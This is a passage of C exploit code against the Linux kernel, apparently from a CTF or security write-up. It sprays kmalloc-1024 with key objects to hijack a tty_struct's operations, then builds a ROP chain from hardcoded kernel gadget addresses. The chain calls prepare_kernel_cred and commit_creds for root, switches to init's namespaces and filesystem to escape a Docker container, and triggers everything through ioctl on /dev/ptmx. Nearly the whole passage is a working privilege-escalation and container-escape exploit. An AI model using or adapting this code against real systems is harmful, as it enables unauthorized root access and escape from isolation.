317  for (int ix = 0; ix != NUM_2ND_KEY_SPRAY; ++ix) {
318    free_key(keys[ix]);
319  }
320  puts("[+] waiting all keys are freed by GC...");
321  sleep(1); // wait GC(security/keys/gc.c) actually frees keys
322
323  // Spray keys in `kmalloc-1024`, one of which must be placed on `tty_struct`
324  puts("[+] spraying keys in kmalloc-1024");
325  assert(num_keys == 0);
326  {
327    char *key_payload = malloc(0x1000);
328    ulong *buf = (ulong*)key_payload;
329    buf[0] = 0x5401; // magic, kref (later `leave`ed and become RBP)
330    buf[1] = KADDR(0xffffffff8191515a); // dev (later become ret addr of `leave` gadget, which is `pop rsp`)
331    buf[2] = km1024_leaked + 0x50 + 0x120; // driver (MUST BE VALID) (later `pop rsp`ed)
332    buf[3] = km1024_leaked + 0x50; // ops
333
334    ulong *ops = (ulong*)(key_payload + 0x50);
335    for (int ix = 0; ix != 0x120 / 8; ++ix) { // sizeof tty_operations
336      ops[ix] = KADDR(0xffffffff81577609); // pop rsp
337    }
338
339    ulong *rop = (ulong*)((char*)ops + 0x120);
340    *rop++ = KADDR(0xffffffff81906510); // pop rdi
341    *rop++ = 0;
342    *rop++ = KADDR(0xffffffff810ebc90); // prepare_kernel_cred
343
344    *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
345    *rop ++ = 0;
346    *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
347    *rop++ = KADDR(0xffffffff810eba40); // commit_creds
348
349    *rop++ = KADDR(0xffffffff81906510); // pop rdi
350    *rop++ = 1; // init process in docker container
351    *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
352    *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
353    *rop ++ = 0;
354    *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
355    *rop++ = KADDR(0xffffffff819b21d3); // pop rsi
356    *rop++ = KADDR(0xffffffff8245a720); // &init_nsproxy
357    *rop++ = KADDR(0xffffffff810ea4e0); // switch_task_namespaces
358
359    *rop++ = KADDR(0xffffffff81906510); // pop rdi
360    *rop++ = KADDR(0xffffffff82589740); // &init_fs
361    *rop++ = KADDR(0xffffffff812e7350); // copy_fs_struct
362    *rop++ = KADDR(0xffffffff8131dab0); // push rax; pop rbx
363
364    *rop++ = KADDR(0xffffffff81906510); // pop rdi
365    *rop++ = getpid();
366    *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
367
368    *rop++ = KADDR(0xffffffff8117668f); // pop rdx
369    *rop++ = 0x6E0;
370    *rop++ = KADDR(0xffffffff81029e7d); // add rax, rdx
371    *rop++ = KADDR(0xffffffff817e1d6d); // mov qword [rax], rbx ; pop rbx ; ret ; (1 found)
372    *rop++ = 0; // trash
373
374
375    *rop++ = KADDR(0xffffffff81c00ef0 + 0x16); // swapgs_restore_regs_and_return_to_usermode + 0x16
376                                               // mov rdi,rsp; mov rsp,QWORD PTR gs:0x6004; push QWORD PTR [rdi+0x30]; ...
377    *rop++ = 0;
378    *rop++ = 0;
379    *rop++ = (ulong)NIRUGIRI;
380    *rop++ = user_cs;
381    *rop++ = user_rflags;
382    *rop++ = (ulong)krop_stack + KROP_USTACK_SIZE / 2;
383    *rop++ = user_ss;
384
385    printf("[+] size: 0x%lx\n", (ulong)rop - (ulong)key_payload);
386    assert((ulong)rop - (ulong)key_payload <= NUM_3RD_KEY_SIZE);
387    assert(512 < NUM_3RD_KEY_SIZE + 0x10 && NUM_3RD_KEY_SIZE + 0x10 < 1024);
388    for (int ix = 0; ix != NUM_3RD_KEY_SPRAY; ++ix) alloc_key(key_payload, NUM_3RD_KEY_SIZE + 0x10, NULL);
389  }
390
391  // Invoke tty_struct.ops.ioctl
392  puts("[+] ioctl-ing to /dev/ptmx");
393  for (int ix = 0; ix != NUM_TTY_SPRAY; ++ix) {
394    ioctl(tty_fd[ix], 0x1234567890, 0xABCDE0000);
395  }
396
397  // end of life (unreachable)
398  puts("[ ] END of life...");
399  //sleep(999999);
400}

参考 Link to this heading